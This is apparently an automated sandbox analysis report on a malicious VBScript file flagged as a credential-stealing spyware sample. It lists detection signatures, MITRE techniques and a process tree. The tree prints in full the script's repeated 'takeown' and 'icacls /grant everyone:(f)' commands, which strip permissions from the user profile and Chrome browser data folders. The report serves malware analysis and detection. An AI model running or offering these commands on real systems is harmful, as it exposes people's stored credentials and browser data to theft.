a021d90ce67e2b7377f7cd6bdd4f2bfa24c9df1977e63c17f305855c28643946

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
01-10-2024 16:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

script.vbs
Size

784B
MD5

6c620f860d8abeaa47f87a16cf10329d
SHA1

eeb959357c4faac19f13c6fe3b11c80a90a5572a
SHA256

a021d90ce67e2b7377f7cd6bdd4f2bfa24c9df1977e63c17f305855c28643946
SHA512

2007c008c40ec23e21945bcc59d1c5ccd24800eef62e9e5327d324d9554d8478162bb74023d848092b4c6d0533c862d3f9c69f6e77bb1dbb8605e28e3e44c692

Score

8^/10

credential_access discovery exploit spyware stealer

Malware Config

Signatures

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
2280	Process not Found
1904	Process not Found
1520	Process not Found
2596	takeown.exe
2364	icacls.exe
3040	Process not Found
2936	Process not Found
944	Process not Found
1544	Process not Found
2956	takeown.exe
2076	icacls.exe
580	Process not Found
1780	takeown.exe
3044	takeown.exe
2740	takeown.exe
1652	icacls.exe
1660	Process not Found
2536	icacls.exe
2672	takeown.exe
1352	Process not Found
484	takeown.exe
1596	icacls.exe
1820	icacls.exe
2136	Process not Found
1612	Process not Found
2208	Process not Found
900	takeown.exe
352	takeown.exe
2448	takeown.exe
900	takeown.exe
1552	Process not Found
1032	Process not Found
2360	takeown.exe
2260	takeown.exe
2856	Process not Found
2864	icacls.exe
1096	takeown.exe
1836	takeown.exe
844	Process not Found
2748	takeown.exe
2244	icacls.exe
2356	icacls.exe
2832	Process not Found
1316	Process not Found
2796	icacls.exe
2000	icacls.exe
1524	icacls.exe
2376	takeown.exe
1748	takeown.exe
1232	Process not Found
1680	Process not Found
2032	Process not Found
2940	takeown.exe
1616	takeown.exe
3012	icacls.exe
2056	icacls.exe
2196	takeown.exe
1496	icacls.exe
3060	Process not Found
796	Process not Found
2908	Process not Found
1296	takeown.exe
2212	takeown.exe
2500	Process not Found

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1268	takeown.exe
2432	Process not Found
1232	Process not Found
1744	takeown.exe
1256	takeown.exe
1788	takeown.exe
784	takeown.exe
2980	takeown.exe
1040	takeown.exe
2988	icacls.exe
1492	takeown.exe
2392	takeown.exe
1776	icacls.exe
1780	takeown.exe
2136	takeown.exe
2980	Process not Found
2272	Process not Found
1676	Process not Found
3000	Process not Found
2148	takeown.exe
2604	icacls.exe
2088	Process not Found
1032	Process not Found
944	icacls.exe
1952	Process not Found
1776	Process not Found
1612	Process not Found
2396	takeown.exe
1652	icacls.exe
2532	Process not Found
340	takeown.exe
2032	Process not Found
2356	takeown.exe
2136	Process not Found
2536	takeown.exe
2964	takeown.exe
2360	Process not Found
1780	Process not Found
2780	takeown.exe
2700	Process not Found
1904	Process not Found
2188	takeown.exe
2088	Process not Found
2364	Process not Found
2764	takeown.exe
2184	takeown.exe
1256	icacls.exe
2664	Process not Found
2516	Process not Found
2660	takeown.exe
2028	takeown.exe
2456	icacls.exe
1528	takeown.exe
1924	takeown.exe
1052	takeown.exe
1996	takeown.exe
996	takeown.exe
2940	takeown.exe
996	takeown.exe
1136	takeown.exe
2732	Process not Found
1512	Process not Found
2928	Process not Found
944	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1992	cmd.exe
1052	Process not Found

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2848	WINWORD.EXE
1964	WINWORD.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
696	WScript.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
696	WScript.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2848	WINWORD.EXE
2848	WINWORD.EXE
1964	WINWORD.EXE
1964	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 696 wrote to memory of 3040	696	WScript.exe	31
PID 696 wrote to memory of 3040	696	WScript.exe	31
PID 696 wrote to memory of 3040	696	WScript.exe	31
PID 3040 wrote to memory of 3060	3040	cmd.exe	33
PID 3040 wrote to memory of 3060	3040	cmd.exe	33
PID 3040 wrote to memory of 3060	3040	cmd.exe	33
PID 3040 wrote to memory of 2288	3040	cmd.exe	34
PID 3040 wrote to memory of 2288	3040	cmd.exe	34
PID 3040 wrote to memory of 2288	3040	cmd.exe	34
PID 696 wrote to memory of 1772	696	WScript.exe	35
PID 696 wrote to memory of 1772	696	WScript.exe	35
PID 696 wrote to memory of 1772	696	WScript.exe	35
PID 1772 wrote to memory of 2760	1772	cmd.exe	37
PID 1772 wrote to memory of 2760	1772	cmd.exe	37
PID 1772 wrote to memory of 2760	1772	cmd.exe	37
PID 1772 wrote to memory of 2072	1772	cmd.exe	38
PID 1772 wrote to memory of 2072	1772	cmd.exe	38
PID 1772 wrote to memory of 2072	1772	cmd.exe	38
PID 696 wrote to memory of 1848	696	WScript.exe	39
PID 696 wrote to memory of 1848	696	WScript.exe	39
PID 696 wrote to memory of 1848	696	WScript.exe	39
PID 1848 wrote to memory of 2764	1848	cmd.exe	41
PID 1848 wrote to memory of 2764	1848	cmd.exe	41
PID 1848 wrote to memory of 2764	1848	cmd.exe	41
PID 1848 wrote to memory of 2780	1848	cmd.exe	42
PID 1848 wrote to memory of 2780	1848	cmd.exe	42
PID 1848 wrote to memory of 2780	1848	cmd.exe	42
PID 696 wrote to memory of 2876	696	WScript.exe	43
PID 696 wrote to memory of 2876	696	WScript.exe	43
PID 696 wrote to memory of 2876	696	WScript.exe	43
PID 2876 wrote to memory of 2576	2876	cmd.exe	45
PID 2876 wrote to memory of 2576	2876	cmd.exe	45
PID 2876 wrote to memory of 2576	2876	cmd.exe	45
PID 2876 wrote to memory of 2864	2876	cmd.exe	46
PID 2876 wrote to memory of 2864	2876	cmd.exe	46
PID 2876 wrote to memory of 2864	2876	cmd.exe	46
PID 696 wrote to memory of 2888	696	WScript.exe	47
PID 696 wrote to memory of 2888	696	WScript.exe	47
PID 696 wrote to memory of 2888	696	WScript.exe	47
PID 2888 wrote to memory of 2596	2888	cmd.exe	49
PID 2888 wrote to memory of 2596	2888	cmd.exe	49
PID 2888 wrote to memory of 2596	2888	cmd.exe	49
PID 2888 wrote to memory of 2852	2888	cmd.exe	50
PID 2888 wrote to memory of 2852	2888	cmd.exe	50
PID 2888 wrote to memory of 2852	2888	cmd.exe	50
PID 696 wrote to memory of 2708	696	WScript.exe	51
PID 696 wrote to memory of 2708	696	WScript.exe	51
PID 696 wrote to memory of 2708	696	WScript.exe	51
PID 2708 wrote to memory of 2884	2708	cmd.exe	53
PID 2708 wrote to memory of 2884	2708	cmd.exe	53
PID 2708 wrote to memory of 2884	2708	cmd.exe	53
PID 2708 wrote to memory of 2568	2708	cmd.exe	54
PID 2708 wrote to memory of 2568	2708	cmd.exe	54
PID 2708 wrote to memory of 2568	2708	cmd.exe	54
PID 696 wrote to memory of 2588	696	WScript.exe	55
PID 696 wrote to memory of 2588	696	WScript.exe	55
PID 696 wrote to memory of 2588	696	WScript.exe	55
PID 2588 wrote to memory of 2644	2588	cmd.exe	57
PID 2588 wrote to memory of 2644	2588	cmd.exe	57
PID 2588 wrote to memory of 2644	2588	cmd.exe	57
PID 2588 wrote to memory of 1808	2588	cmd.exe	58
PID 2588 wrote to memory of 1808	2588	cmd.exe	58
PID 2588 wrote to memory of 1808	2588	cmd.exe	58
PID 696 wrote to memory of 2160	696	WScript.exe	59

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\ && icacls C:\Users\ /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\
    3⤵
    PID:3060
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\ /grant everyone:(f)
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin && icacls C:\Users\Admin /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin
    3⤵
    PID:2760
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin /grant everyone:(f)
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData && icacls C:\Users\Admin\AppData /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData
    3⤵
    PID:2764
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData /grant everyone:(f)
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local && icacls C:\Users\Admin\AppData\Local /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local
    3⤵
    PID:2576
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe && icacls C:\Users\Admin\AppData\Local\Adobe /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe
    3⤵
    PID:2596
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe /grant everyone:(f)
    3⤵
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat
    3⤵
    PID:2884
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat /grant everyone:(f)
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0 && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0 /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0
    3⤵
    PID:2644
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0 /grant everyone:(f)
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0\Cache && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0\Cache /grant everyone:(f)
  2⤵
  PID:2160
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0\Cache
    3⤵
    PID:2196
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0\Cache /grant everyone:(f)
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Color && icacls C:\Users\Admin\AppData\Local\Adobe\Color /grant everyone:(f)
  2⤵
  PID:1800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Color
    3⤵
    PID:1028
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Color /grant everyone:(f)
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Color\Profiles && icacls C:\Users\Admin\AppData\Local\Adobe\Color\Profiles /grant everyone:(f)
  2⤵
  PID:2920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Color\Profiles
    3⤵
    PID:2796
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Color\Profiles /grant everyone:(f)
    3⤵
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Application Data && icacls C:\Users\Admin\AppData\Local\Application Data /grant everyone:(f)
  2⤵
  PID:2832
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Application Data
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google && icacls C:\Users\Admin\AppData\Local\Google /grant everyone:(f)
  2⤵
  PID:844
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google
    3⤵
    PID:784
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Google /grant everyone:(f)
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome /grant everyone:(f)
  2⤵
  PID:2640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome
    3⤵
    - Possible privilege escalation attempt
    PID:484
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Google\Chrome /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data /grant everyone:(f)
  2⤵
  PID:308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data
    3⤵
    - Modifies file permissions
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\AutofillStates && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\AutofillStates /grant everyone:(f)
  2⤵
  PID:1752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\AutofillStates
    3⤵
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics /grant everyone:(f)
  2⤵
  PID:2156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CertificateRevocation && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CertificateRevocation /grant everyone:(f)
  2⤵
  PID:2316
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CertificateRevocation
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ClientSidePhishing && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ClientSidePhishing /grant everyone:(f)
  2⤵
  PID:1784
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ClientSidePhishing
    3⤵
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad /grant everyone:(f)
  2⤵
  PID:1136
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\attachments && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\attachments /grant everyone:(f)
  2⤵
  PID:328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\attachments
    3⤵
    - Possible privilege escalation attempt
    PID:1296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports /grant everyone:(f)
  2⤵
  PID:1092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crowd Deny && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crowd Deny /grant everyone:(f)
  2⤵
  PID:1664
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crowd Deny
    3⤵
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default /grant everyone:(f)
  2⤵
  PID:900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default
    3⤵
    PID:284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase /grant everyone:(f)
  2⤵
  PID:1652
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
    3⤵
    PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage /grant everyone:(f)
  2⤵
  PID:556
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage\eb2eb914-1e84-40e0-9d31-9c7446722e77 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage\eb2eb914-1e84-40e0-9d31-9c7446722e77 /grant everyone:(f)
  2⤵
  PID:772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage\eb2eb914-1e84-40e0-9d31-9c7446722e77
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase /grant everyone:(f)
  2⤵
  PID:1048
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
    3⤵
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache /grant everyone:(f)
  2⤵
  PID:1660
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache
    3⤵
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data /grant everyone:(f)
  2⤵
  PID:1780
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data
    3⤵
    PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache /grant everyone:(f)
  2⤵
  PID:2140
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache
    3⤵
    PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js /grant everyone:(f)
  2⤵
  PID:996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
    3⤵
    - Modifies file permissions
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir /grant everyone:(f)
  2⤵
  PID:2012
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
    3⤵
    - Modifies file permissions
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm /grant everyone:(f)
  2⤵
  PID:1544
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
    3⤵
    PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir /grant everyone:(f)
  2⤵
  PID:3064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db /grant everyone:(f)
  2⤵
  PID:3040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
    3⤵
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db /grant everyone:(f)
  2⤵
  PID:1156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db
    3⤵
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache /grant everyone:(f)
  2⤵
  PID:2036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service /grant everyone:(f)
  2⤵
  PID:3000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB /grant everyone:(f)
  2⤵
  PID:2876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files /grant everyone:(f)
  2⤵
  PID:2852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
    3⤵
    - Modifies file permissions
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts /grant everyone:(f)
  2⤵
  PID:2884
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State /grant everyone:(f)
  2⤵
  PID:2584
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker /grant everyone:(f)
  2⤵
  PID:2588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB /grant everyone:(f)
  2⤵
  PID:2252
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
    3⤵
    PID:1616
